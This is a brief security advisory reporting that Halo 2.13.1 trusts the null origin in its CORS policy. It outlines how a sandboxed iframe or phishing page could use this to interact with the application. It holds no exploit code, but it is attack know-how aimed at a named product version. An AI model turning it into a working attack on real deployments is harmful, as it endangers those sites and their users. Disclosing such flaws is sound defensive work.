`## Title: HALO-2.13.1 Cross-origin resource sharing: arbitrary origin trusted  
## Author: nu11secur1ty  
## Date: 03/15/2024  
## Vendor: https://www.halo.run/  
## Software: https://github.com/halo-dev/halo  
## Reference: https://portswigger.net/web-security/cors  
  
## Description:  
The application implements an HTML5 cross-origin resource sharing  
(CORS) policy for this request that allows access from any domain.  
The application allowed access from the requested origin null  
The application allows two-way interaction from the null origin. This  
effectively means that any domain can perform two-way interaction by  
causing the browser to submit the null origin, for example by issuing  
the request from a sandboxed iframe or malicious fishing domain with a  
specially crafted HTML exploit.
